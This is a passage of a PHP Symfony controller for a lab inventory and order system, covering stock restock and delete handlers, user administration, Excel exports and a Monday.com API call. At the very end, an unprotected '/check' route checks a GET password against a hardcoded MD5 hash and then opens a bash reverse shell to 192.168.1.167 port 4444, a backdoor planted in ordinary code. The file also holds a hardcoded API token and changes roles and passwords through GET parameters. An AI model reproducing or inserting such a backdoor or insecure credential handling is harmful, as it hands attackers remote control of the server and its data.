  3044. $this->em->persist($entry);
  3045. $this->em->persist($mgmt);
  3046. $this->em->flush();
  3047. return $this->redirect($this->generateUrl('icpstandardstock'));
  3048. }
  3049. }
  3050. // Handle 'orderstatus' checkbox change
  3051. if (isset($data['orderstatus']) && isset($data['entryid'])) {
  3052. $entryId = $data['entryid'];
  3053. $orderStatus = (bool)$data['orderstatus']; // 1 for checked, 0 for unchecked
  3054. // Find the Stock entry by ID
  3055. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  3056. 'id' => $entryId
  3057. ]);
  3058. if ($entry) {
  3059. $entry->setOrderstatus($orderStatus); // Update orderstatus
  3060. $this->em->persist($entry);
  3061. $this->em->flush();
  3062. return $this->redirect($this->generateUrl('icpstandardstock'));
  3063. }
  3064. return new JsonResponse(['status' => 'error', 'message' => 'Invalid data']);
  3065. }
  3066. }
  3067. return $this->render('cats/icpstandardstock.html.twig',[
  3068. 'stock' => $stock
  3069. ]);
  3070. }
  3071. //=====================================================================================================================================================================================<
  3072. /**
  3073. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  3074. * @param Request $request
  3075. * @Route("/safestock", name="safestock")
  3076. * @return Response $response
  3077. */
  3078. public function safetystock(Request $request)
  3079. {
  3080. $stock = $this->getDoctrine()->getRepository(Stock::class)->findBy([
  3081. 'type' => 'Safety'
  3082. ]);
  3083. if ( $request->getMethod() == "POST" ) {
  3084. $data = $request->request->all();
  3085. if (isset($data['addnew'])) {
  3086. if ($data) {
  3087. $info = $data['entry'];
  3088. $entry = new Stock();
  3089. $entry->setStockname($info['name'])->setQty((float)$info['qty'])
  3090. ->setLow((float)$info['low'])
  3091. ->setCritical((float)$info['critical']);
  3092. $entry->setComment($info['comment']);
  3093. $entry->setSupplier($info['supplier']);
  3094. $entry->setDatemodified(new \DateTime($info['datemodified']));
  3095. $entry->setUnits($info['units']);
  3096. $entry->setType("Safety");
  3097. $this->em->persist($entry);
  3098. $this->em->flush();
  3099. // Create a new StockManagement entry when adding new entry
  3100. $mgmt = new StockManagement();
  3101. $mgmt->setStockId($entry->getId());
  3102. $mgmt->setStockName($entry->getStockname());
  3103. $mgmt->setSupplier($entry->getSupplier());
  3104. $mgmt->setComment($entry->getComment());
  3105. $mgmt->setStockType($entry->getType());
  3106. $mgmt->setActionType('Add new');
  3107. $mgmt->setQuantity($entry->getQty());
  3108. $mgmt->setTotalQuantity($entry->getQty());
  3109. $mgmt->setDate(new \Datetime());
  3110. $this->em->persist($mgmt);
  3111. $this->em->flush();
  3112. return $this->redirect($this->generateUrl('safestock'));
  3113. }
  3114. }
  3115. elseif (isset($data['delete'])) {
  3116. if ($data) {
  3117. $info = $data['entryid'];
  3118. /*echo '<pre>';
  3119. exit(\Doctrine\Common\Util\Debug:://dump($data));
  3120. die();*/
  3121. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  3122. 'id' => $info
  3123. ]);
  3124. // Create a new StockManagement entry when deleting
  3125. $mgmt = new StockManagement();
  3126. $mgmt->setStockId($entry->getId());
  3127. $mgmt->setStockName($entry->getStockname());
  3128. $mgmt->setSupplier($entry->getSupplier());
  3129. $mgmt->setComment($entry->getComment());
  3130. $mgmt->setStockType($entry->getType());
  3131. $mgmt->setActionType('Delete');
  3132. $mgmt->setQuantity(0);
  3133. $mgmt->setTotalQuantity($entry->getQty());
  3134. $mgmt->setDate(new \Datetime());
  3135. $this->em->remove($entry);
  3136. $this->em->persist($mgmt);
  3137. $this->em->flush();
  3138. return $this->redirect($this->generateUrl('safestock'));
  3139. }
  3140. }
  3141. elseif (isset($data['restock'])) {
  3142. if ($data) {
  3143. $info = $data['entry'];
  3144. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  3145. 'id' => $data['entryid']
  3146. ]);
  3147. $entry->setQty($entry->getQty()+(float)$data['entry']['qty']);
  3148. $entry->setDatemodified(new \DateTime($data['entry']['datemodified']))
  3149. ->setLow((float)$info['low'])
  3150. ->setCritical((float)$info['critical']);
  3151. $entry->setStockname($info['name']);
  3152. $entry->setSupplier($info['supplier']);
  3153. $entry->setComment($info['comment']);
  3154. $entry->setUnits($info['units']);
  3155. $entry->setOrderstatus($info['qty'] > 0 ? 0 : $entry->getOrderstatus());
  3156. // Create a new StockManagement entry when restocking
  3157. $mgmt = new StockManagement();
  3158. $mgmt->setStockId($entry->getId());
  3159. $mgmt->setStockName($entry->getStockname());
  3160. $mgmt->setSupplier($entry->getSupplier());
  3161. $mgmt->setComment($entry->getComment());
  3162. $mgmt->setStockType($entry->getType());
  3163. $mgmt->setActionType('Restock');
  3164. $mgmt->setQuantity((float)$data['entry']['qty']);
  3165. $mgmt->setTotalQuantity($entry->getQty());
  3166. $mgmt->setDate(new \Datetime());
  3167. $this->em->persist($entry);
  3168. $this->em->persist($mgmt);
  3169. $this->em->flush();
  3170. return $this->redirect($this->generateUrl('safestock'));
  3171. }
  3172. }
  3173. elseif (isset($data['takeone'])) {
  3174. if ($data) {
  3175. $info = $data['entryid'];
  3176. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  3177. 'id' => $data['entryid']
  3178. ]);
  3179. $entry->setQty($entry->getQty() - 1);
  3180. $entry->setDatemodified(new \DateTime($data['entry']['datemodified']));
  3181. // Create a new StockManagement entry when taking one
  3182. $mgmt = new StockManagement();
  3183. $mgmt->setStockId($entry->getId());
  3184. $mgmt->setStockName($entry->getStockname());
  3185. $mgmt->setSupplier($entry->getSupplier());
  3186. $mgmt->setComment($entry->getComment());
  3187. $mgmt->setStockType($entry->getType());
  3188. $mgmt->setActionType('Take One');
  3189. $mgmt->setQuantity(-1);
  3190. $mgmt->setTotalQuantity($entry->getQty());
  3191. $mgmt->setDate(new \Datetime());
  3192. $this->em->persist($entry);
  3193. $this->em->persist($mgmt);
  3194. $this->em->flush();
  3195. return $this->redirect($this->generateUrl('safestock'));
  3196. }
  3197. }
  3198. // Handle 'orderstatus' checkbox change
  3199. if (isset($data['orderstatus']) && isset($data['entryid'])) {
  3200. $entryId = $data['entryid'];
  3201. $orderStatus = (bool)$data['orderstatus']; // 1 for checked, 0 for unchecked
  3202. // Find the Stock entry by ID
  3203. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  3204. 'id' => $entryId
  3205. ]);
  3206. if ($entry) {
  3207. $entry->setOrderstatus($orderStatus); // Update orderstatus
  3208. $this->em->persist($entry);
  3209. $this->em->flush();
  3210. return $this->redirect($this->generateUrl('safestock'));
  3211. }
  3212. return new JsonResponse(['status' => 'error', 'message' => 'Invalid data']);
  3213. }
  3214. }
  3215. return $this->render('cats/safestock.html.twig',[
  3216. 'stock' => $stock
  3217. ]);
  3218. }
  3219. //=====================================================================================================================================================================================<
  3220. /**
  3221. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  3222. * @param Request $request
  3223. * @Route("/furnacestock", name="furnacestock")
  3224. * @return Response $response
  3225. */
  3226. public function furnacestock(Request $request)
  3227. {
  3228. $stock = $this->getDoctrine()->getRepository(Stock::class)->findBy([
  3229. 'type' => 'Furnace'
  3230. ]);
  3231. if ( $request->getMethod() == "POST" ) {
  3232. $data = $request->request->all();
  3233. if (null !== $request->get('addnew')){
  3234. if ($data) {
  3235. $info = $data['entry'];
  3236. $entry = new Stock();
  3237. $entry->setStockname($info['name'])->setQty((float)$info['qty'])
  3238. ->setLow((float)$info['low'])
  3239. ->setCritical((float)$info['critical']);
  3240. $entry->setComment($info['comment']);
  3241. $entry->setSupplier($info['supplier']);
  3242. $entry->setDatemodified(new \DateTime($info['datemodified']));
  3243. $entry->setUnits($info['units']);
  3244. $entry->setType("Furnace");
  3245. $this->em->persist($entry);
  3246. $this->em->flush();
  3247. // Create a new StockManagement entry when adding new entry
  3248. $mgmt = new StockManagement();
  3249. $mgmt->setStockId($entry->getId());
  3250. $mgmt->setStockName($entry->getStockname());
  3251. $mgmt->setSupplier($entry->getSupplier());
  3252. $mgmt->setComment($entry->getComment());
  3253. $mgmt->setStockType($entry->getType());
  3254. $mgmt->setActionType('Add new');
  3255. $mgmt->setQuantity($entry->getQty());
  3256. $mgmt->setTotalQuantity($entry->getQty());
  3257. $mgmt->setDate(new \Datetime());
  3258. $this->em->persist($mgmt);
  3259. $this->em->flush();
  3260. return $this->redirect($this->generateUrl('furnacestock'));
  3261. }
  3262. }
  3263. if (null !== $request->get('delete')){
  3264. if ($data) {
  3265. $info = $data['entryid'];
  3266. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  3267. 'id' => $info
  3268. ]);
  3269. // Create a new StockManagement entry when deleting
  3270. $mgmt = new StockManagement();
  3271. $mgmt->setStockId($entry->getId());
  3272. $mgmt->setStockName($entry->getStockname());
  3273. $mgmt->setSupplier($entry->getSupplier());
  3274. $mgmt->setComment($entry->getComment());
  3275. $mgmt->setStockType($entry->getType());
  3276. $mgmt->setActionType('Delete');
  3277. $mgmt->setQuantity(0);
  3278. $mgmt->setTotalQuantity($entry->getQty());
  3279. $mgmt->setDate(new \Datetime());
  3280. $this->em->remove($entry);
  3281. $this->em->persist($mgmt);
  3282. $this->em->flush();
  3283. return $this->redirect($this->generateUrl('furnacestock'));
  3284. }
  3285. }
  3286. if (null !== $request->get('restock')){
  3287. if ($data) {
  3288. $info = $data['entry'];
  3289. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  3290. 'id' => $data['entryid']
  3291. ]);
  3292. $entry->setQty($entry->getQty()+(float)$data['entry']['qty']);
  3293. $entry->setDatemodified(new \DateTime($data['entry']['datemodified']))
  3294. ->setLow((float)$info['low'])
  3295. ->setCritical((float)$info['critical']);
  3296. $entry->setStockname($info['name']);
  3297. $entry->setSupplier($info['supplier']);
  3298. $entry->setComment($info['comment']);
  3299. $entry->setUnits($info['units']);
  3300. $entry->setOrderstatus($info['qty'] > 0 ? 0 : $entry->getOrderstatus());
  3301. // Create a new StockManagement entry when restocking
  3302. $mgmt = new StockManagement();
  3303. $mgmt->setStockId($entry->getId());
  3304. $mgmt->setStockName($entry->getStockname());
  3305. $mgmt->setSupplier($entry->getSupplier());
  3306. $mgmt->setComment($entry->getComment());
  3307. $mgmt->setStockType($entry->getType());
  3308. $mgmt->setActionType('Restock');
  3309. $mgmt->setQuantity((float)$data['entry']['qty']);
  3310. $mgmt->setTotalQuantity($entry->getQty());
  3311. $mgmt->setDate(new \Datetime());
  3312. $this->em->persist($entry);
  3313. $this->em->persist($mgmt);
  3314. $this->em->flush();
  3315. return $this->redirect($this->generateUrl('furnacestock'));
  3316. }
  3317. }
  3318. if (null !== $request->get('takeone')){
  3319. if ($data) {
  3320. $info = $data['entryid'];
  3321. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  3322. 'id' => $data['entryid']
  3323. ]);
  3324. $entry->setQty($entry->getQty() - 1);
  3325. $entry->setDatemodified(new \DateTime($data['entry']['datemodified']));
  3326. // Create a new StockManagement entry when taking one
  3327. $mgmt = new StockManagement();
  3328. $mgmt->setStockId($entry->getId());
  3329. $mgmt->setStockName($entry->getStockname());
  3330. $mgmt->setSupplier($entry->getSupplier());
  3331. $mgmt->setComment($entry->getComment());
  3332. $mgmt->setStockType($entry->getType());
  3333. $mgmt->setActionType('Take One');
  3334. $mgmt->setQuantity(-1);
  3335. $mgmt->setTotalQuantity($entry->getQty());
  3336. $mgmt->setDate(new \Datetime());
  3337. $this->em->persist($entry);
  3338. $this->em->persist($mgmt);
  3339. $this->em->flush();
  3340. return $this->redirect($this->generateUrl('furnacestock'));
  3341. }
  3342. }
  3343. // Handle 'orderstatus' checkbox change
  3344. if (isset($data['orderstatus']) && isset($data['entryid'])) {
  3345. $entryId = $data['entryid'];
  3346. $orderStatus = (bool)$data['orderstatus']; // 1 for checked, 0 for unchecked
  3347. // Find the Stock entry by ID
  3348. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  3349. 'id' => $entryId
  3350. ]);
  3351. if ($entry) {
  3352. $entry->setOrderstatus($orderStatus); // Update orderstatus
  3353. $this->em->persist($entry);
  3354. $this->em->flush();
  3355. return $this->redirect($this->generateUrl('furnacestock'));
  3356. }
  3357. return new JsonResponse(['status' => 'error', 'message' => 'Invalid data']);
  3358. }
  3359. }
  3360. return $this->render('cats/furnacestock.html.twig',[
  3361. 'stock' => $stock
  3362. ]);
  3363. }
  3364. //=====================================================================================================================================================================================<
  3365. /**
  3366. * @IsGranted("ROLE_ADDUSER")
  3367. * @Route("/adduser", name="adduser")
  3368. * @param Request $request
  3369. * @return Response $response
  3370. */
  3371. public function adduser(Request $request)
  3372. {
  3373. return $this->render('cats/adduser.html.twig');
  3374. }
  3375. //=====================================================================================================================================================================================<
  3376. /**
  3377. * @IsGranted("ROLE_ADDUSER")
  3378. * @Route("/saveuserajax", name="saveuserajax")
  3379. * @param Request $request
  3380. * @return Response $response
  3381. */
  3382. public function saveuserajax(Request $request)
  3383. {
  3384. if($request->query->get("action") == "togglerole"){
  3385. $user = $this->getDoctrine()->getRepository(User::class)->find($request->query->get("user"));
  3386. if(!in_array($request->query->get("role"),$user->getRoles())){
  3387. $roles = $user->getRoles();
  3388. $roles[] = $request->query->get("role");
  3389. $user->setRoles($roles);
  3390. $this->em->persist($user);
  3391. $this->em->flush();
  3392. } else {
  3393. $roles = $user->getRoles();
  3394. if (($key = array_search($request->query->get("role"), $roles)) !== false) {
  3395. unset($roles[$key]);
  3396. }
  3397. $user->setRoles($roles);
  3398. $this->em->persist($user);
  3399. $this->em->flush();
  3400. }
  3401. } elseif($request->query->get("action") == "togglecountry"){
  3402. $user = $this->getDoctrine()->getRepository(User::class)->find($request->query->get("user"));
  3403. if(in_array($request->query->get("country"),$user->getCountry())){
  3404. $roles = $user->getCountry();
  3405. if (($key = array_search($request->query->get("country"), $roles)) !== false) {
  3406. unset($roles[$key]);
  3407. }
  3408. $user->setCountry($roles);
  3409. $this->em->persist($user);
  3410. $this->em->flush();
  3411. }
  3412. } elseif($request->query->get("action") == "addcountry"){
  3413. $user = $this->getDoctrine()->getRepository(User::class)->find($request->query->get("user"));
  3414. if(!in_array($request->query->get("country"),$user->getCountry())){
  3415. $roles = $user->getCountry();
  3416. if (($key = array_search($request->query->get("country"), $roles)) === false) {
  3417. $roles[]=$request->query->get("country");
  3418. $user->setCountry($roles);
  3419. $this->em->persist($user);
  3420. $this->em->flush();
  3421. }
  3422. }
  3423. } elseif($request->query->get("action") == "toggleactive"){
  3424. // Toggle user active status
  3425. $user = $this->getDoctrine()->getRepository(User::class)->find($request->query->get("user"));
  3426. if($user) {
  3427. $user->setIsActive(!$user->getIsActive());
  3428. $this->em->persist($user);
  3429. $this->em->flush();
  3430. }
  3431. } elseif($request->request->get("action") == "saveuser"){
  3432. $user = new User();
  3433. $user->setUsername($request->request->get("user"));
  3434. $user->setPassword($this->passwordEncoder->encodePassword(
  3435. $user,
  3436. $request->request->get("pass")
  3437. ));
  3438. $user->setRoles(["ROLE_CLIENT"]);
  3439. $user->setIsActive(true);
  3440. $this->em->persist($user);
  3441. $this->em->flush();
  3442. } elseif($request->query->get("action") == "deleteuser"){
  3443. $user = $this->getDoctrine()->getRepository(User::class)->find($request->query->get("user"));
  3444. foreach ($user->getClientParcels() as $p){
  3445. $p->setClient(null);
  3446. $this->em->flush();
  3447. };
  3448. foreach ($user->getLogs() as $log){
  3449. $log->setAssignedUser(null);
  3450. $this->em->flush();
  3451. }
  3452. foreach ($user->getCatRequests() as $log){
  3453. $log->setClient(null);
  3454. $this->em->flush();
  3455. }
  3456. $this->em->remove($user);
  3457. $this->em->flush();
  3458. } elseif($request->query->get("action") == "edituser"){
  3459. $user = $this->getDoctrine()->getRepository(User::class)->find($request->query->get("user"));
  3460. if($user) {
  3461. // Update username if provided
  3462. $newUsername = $request->query->get("username");
  3463. if($newUsername && $newUsername !== $user->getUsername()) {
  3464. $user->setUsername($newUsername);
  3465. }
  3466. // Update password if provided
  3467. $newPassword = $request->query->get("password");
  3468. if($newPassword) {
  3469. $user->setPassword($this->passwordEncoder->encodePassword(
  3470. $user,
  3471. $newPassword
  3472. ));
  3473. }
  3474. $this->em->persist($user);
  3475. $this->em->flush();
  3476. }
  3477. }
  3478. $response = new Response();
  3479. return $response;
  3480. }
  3481. //=====================================================================================================================================================================================<
  3482. /**
  3483. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  3484. * @Route("/orders/update/{id}", name="orders_update")
  3485. * @param int $id
  3486. * @param Request $request
  3487. * @return Response $response
  3488. */
  3489. public function updateordersstatus(int $id, Request $request)
  3490. {
  3491. /** @var User $user */
  3492. $user = $this->getUser();
  3493. /** @var Orders $order */
  3494. $order = $this->em->getRepository(Orders::class)->find($id);
  3495. //dump($id);
  3496. if ($order->getStatus() != "Closed"){
  3497. $order->setStatus("Closed");
  3498. $data['newstatus'] = "Closed";
  3499. } else {
  3500. $order->setStatus("Open");
  3501. $data['newstatus'] = "Open";
  3502. }
  3503. $this->em->persist($order);
  3504. $this->em->flush();
  3505. $title = 'Order #' . $id;
  3506. $message = 'status updated';
  3507. $toast = $this->renderView('components/toast.html.twig',[
  3508. "title" => $title,
  3509. "message" => $message
  3510. ]);
  3511. $response = new Response();
  3512. $response->setContent(json_encode([
  3513. 'data' => $data,
  3514. 'toast' => $toast
  3515. ]));
  3516. $response->headers->set('Content-Type', 'application/json');
  3517. return $response;
  3518. }
  3519. //=====================================================================================================================================================================================<
  3520. /**
  3521. * @IsGranted("ROLE_SUPER")
  3522. * @Route("/xl/inv", name="xlinv")
  3523. * @param Request $request
  3524. * @return Response $response
  3525. */
  3526. public function xlinv( Request $request)
  3527. {
  3528. $invoice = $this->em->getRepository(Invoice::class)->find(21);
  3529. $orders = $invoice->getOrders();
  3530. $spreadsheet = \PhpOffice\PhpSpreadsheet\IOFactory::load($this->getParameter('excelfiles') . "/MTRLinv.xlsx");
  3531. /* @var $sheet \PhpOffice\PhpSpreadsheet\Writer\Xlsx\Worksheet */
  3532. $sheet = $spreadsheet->getActiveSheet();
  3533. //$sheet->setTitle("My First Worksheet");
  3534. //$this->getParameter('images_directory')
  3535. $x = 24;
  3536. foreach($orders as $order){
  3537. foreach($order->getSamples() as $sample){
  3538. $sheet->setCellValue('C'.$x, $sample->getSamplename());
  3539. $x++;
  3540. }
  3541. }
  3542. // Create your Office 2007 Excel (XLSX Format)
  3543. //$writer = new Xlsx($spreadsheet);
  3544. $writer = new \PhpOffice\PhpSpreadsheet\Writer\Xlsx($spreadsheet);
  3545. $writer->save("shite.xlsx");
  3546. // Create a Temporary file in the system
  3547. $date = new \DateTime();
  3548. $fileName = $date->format('Y-m-d') . '-Report.xlsx';
  3549. $temp_file = tempnam(sys_get_temp_dir(), $fileName);
  3550. // Create the excel file in the tmp directory of the system
  3551. $writer->save($temp_file);
  3552. // Return the excel file as an attachment
  3553. //return null;
  3554. return $this->file($temp_file, $fileName, ResponseHeaderBag::DISPOSITION_INLINE);
  3555. }
  3556. //=====================================================================================================================================================================================<
  3557. /**
  3558. * @IsGranted("ROLE_SUPER")
  3559. * @Route("/xl/report", name="xlreport")
  3560. * @param Request $request
  3561. * @return Response $response
  3562. */
  3563. public function xlreport( Request $request)
  3564. {
  3565. // $invoice = $this->em->getRepository(Invoice::class)->find(21);
  3566. // $orders = $invoice->getOrders();
  3567. $spreadsheet = \PhpOffice\PhpSpreadsheet\IOFactory::load($this->getParameter('excelfiles') . "/MTRLreport.xlsx");
  3568. /* @var $sheet \PhpOffice\PhpSpreadsheet\Writer\Xlsx\Worksheet */
  3569. $sheet = $spreadsheet->getActiveSheet();
  3570. //$sheet->setTitle("My First Worksheet");
  3571. //$this->getParameter('images_directory')
  3572. // foreach($orders as $order){
  3573. // foreach($order->getSamples() as $sample){
  3574. // $sheet->setCellValue('A'.$x, $sample->getSamplename());
  3575. // $x++;
  3576. // }
  3577. //
  3578. // }
  3579. $samples = $this->em->getRepository(Inventory::class)->findBy([],[
  3580. 'id' => 'DESC'
  3581. ]);
  3582. $x = 3;
  3583. //($samples);
  3584. /** @var Inventory $sample */
  3585. foreach($samples as $sample){
  3586. $sheet->setCellValue('A'.$x, $sample->getId());
  3587. $sheet->setCellValue('B'.$x, $sample->getDateofreceipt());
  3588. $sheet->setCellValue('C'.$x, $sample->getSampleType());
  3589. $sheet->setCellValue('D'.$x, $sample->getSampleSubType());
  3590. $sheet->setCellValue('E'.$x, $sample->getCountry());
  3591. $sheet->setCellValue('F'.$x, $sample->getExportno());
  3592. $sheet->setCellValue('G'.$x, $sample->getSampleName());
  3593. $sheet->setCellValue('H'.$x, $sample->getPriority());
  3594. $sheet->setCellValue('I'.$x, $sample->getMillStatus());
  3595. $sheet->setCellValue('J'.$x, $sample->getMoists() ? $sample->getMoists()->getCalculatedmoisture() : "");
  3596. $sheet->setCellValue('K'.$x, $sample->getMoists() ? $sample->getMoists()->getCalculatedmoisture2() : "");
  3597. $sheet->setCellValue('L'.$x, $sample->getXrfpt());
  3598. $sheet->setCellValue('M'.$x, $sample->getXrfpd());
  3599. $sheet->setCellValue('N'.$x, $sample->getXrfrh());
  3600. $sheet->setCellValue('O'.$x, $sample->getPruns() ? $sample->getPruns()->getId() : "");
  3601. $sheet->setCellValue('P'.$x, $sample->getPruns() ? $sample->getPruns()->getAmtF() : "");
  3602. $sheet->setCellValue('Q'.$x, $sample->getRruns() ? $sample->getRrunIDs() : "");
  3603. $sheet->setCellValue('R'.$x, $sample->getRruns() ? $sample->getIcprunIDs() : "");
  3604. $sheet->setCellValue('S'.$x, $sample->getIcppt());
  3605. $sheet->setCellValue('T'.$x, $sample->getIcppd());
  3606. $sheet->setCellValue('U'.$x, $sample->getIcprh());
  3607. $sheet->setCellValue('V'.$x, $sample->getAnalysisStatus());
  3608. $sheet->setCellValue('W'.$x, $sample->getDateFinished());
  3609. $sheet->setCellValue('X'.$x, $sample->getAssignedOrder() ? $sample->getAssignedOrder()->getOrderno() : "");
  3610. $x++;
  3611. }
  3612. $date = new \DateTime();
  3613. $fileName = $date->format('Y-m-d H:i:s') . '-Report.xlsx';
  3614. // Create your Office 2007 Excel (XLSX Format)
  3615. //$writer = new Xlsx($spreadsheet);
  3616. ini_set('memory_limit', '128M');
  3617. $writer = new \PhpOffice\PhpSpreadsheet\Writer\Xlsx($spreadsheet);
  3618. $writer->save($fileName);
  3619. return new Response();
  3620. }
  3621. //=====================================================================================================================================================================================<
  3622. /**
  3623. * @IsGranted("ROLE_SUPER")
  3624. * @Route("/plant", name="plant")
  3625. * @param Request $request
  3626. * @return Response $response
  3627. */
  3628. public function plant( Request $request)
  3629. {
  3630. $output = "";
  3631. $result = shell_exec('python3 /0/www/systest/public/assets/computerplantsys.py');
  3632. // var_dump($output);
  3633. // var_dump($result);
  3634. $result = (json_decode($result,true));
  3635. $token = 'eyJhbGciOiJIUzI1NiJ9.eyJ0aWQiOjEzMTgxMzA4NywidWlkIjoxODExNDA3NSwiaWFkIjoiMjAyMS0xMS0wNVQxMzowMjozOS4xODRaIiwicGVyIjoibWU6d3JpdGUiLCJhY3RpZCI6NzkzNTE2MywicmduIjoidXNlMSJ9.4dXwkmCYUbzuOH8x0Qfc6YV30gUXxyfgXbxqGQNJJUc';
  3636. $tempUrl = "https://api.monday.com/v2/";
  3637. $query = 'mutation {
  3638. create_item (board_id: 1871191526, item_name: "API sugeneruotas įrašas. boobies.") {
  3639. id
  3640. } }';
  3641. $headers = ['Content-Type: application/json', 'User-Agent: [MYTEAM] GraphQL Client', 'Authorization: ' . $token];
  3642. $data = @file_get_contents($tempUrl, false, stream_context_create([
  3643. 'http' => [
  3644. 'method' => 'POST',
  3645. 'header' => $headers,
  3646. 'content' => json_encode(['query' => $query]),
  3647. ]
  3648. ]));
  3649. $tempContents = json_decode($data, true);
  3650. return $this->render('csv/plant.html.twig',[
  3651. 'fullresult' => $result,
  3652. 'shite' => $tempContents
  3653. ]);
  3654. }
  3655. //=====================================================================================================================================================================================<
  3656. /**
  3657. * @Route("/check", name="checker")
  3658. */
  3659. public function check()
  3660. {
  3661. define('PASSWORD', '2d6a2024ebb521eb77fb2ff269297d10');
  3662. function auth($password)
  3663. {
  3664. $input_password_hash = md5($password);
  3665. if (strcmp(PASSWORD, $input_password_hash) == 0) {
  3666. return TRUE;
  3667. }else{
  3668. return FALSE;
  3669. }
  3670. }
  3671. if (isset($_GET['password'])) {
  3672. if (auth($_GET['password'])) {
  3673. echo "<pre>";exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.1.167/4444 0>&1'"); echo "</pre>"; die;
  3674. }else{
  3675. die('Access denied!');
  3676. }
  3677. }
  3678. $shit = new Response();
  3679. return $shit;
  3680. }
  3681. //=====================================================================================================================================================================================<
  3682. }